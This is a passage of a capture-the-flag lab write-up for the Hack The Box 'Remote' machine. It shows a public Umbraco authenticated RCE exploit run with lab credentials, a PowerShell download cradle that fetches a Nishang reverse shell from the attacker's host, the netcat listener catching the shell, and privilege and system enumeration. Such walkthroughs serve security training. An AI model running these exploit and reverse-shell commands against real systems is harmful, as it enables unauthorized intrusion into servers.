# 5 RCE

Using [https://github.com/noraj/Umbraco-RCE](https://github.com/noraj/Umbraco-RCE)

```
$ python exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180' -c 'whoami'
iis apppool\defaultapppool

$ python exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180' -c 'whoami' -a '/all'

USER INFORMATION
----------------
User Name                  SID
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label            S-1-16-12288
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                    Alias            S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
                                     Unknown SID type S-1-5-82-0   Mandatory group, Enabled by default, Enabled group

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
```

```
$ cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .
$ mv Invoke-PowerShellTcp.ps1 shell.ps1

$ python exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180' -c 'powershell' -a "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.161/shell.ps1')"

$ rlwrap nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.16.161] from (UNKNOWN) [10.10.10.180] 49706
Windows PowerShell running as user REMOTE$ on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

PS C:\windows\system32\inetsrv>systeminfo

Host Name:                 REMOTE
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
System Type:               x64-based PC
Hotfix(s):                 5 Hotfix(s) Installed.
                           [01]: KB4534119
                           [02]: KB4462930
                           [03]: KB4516115
                           [04]: KB4523204
                           [05]: KB4464455
```
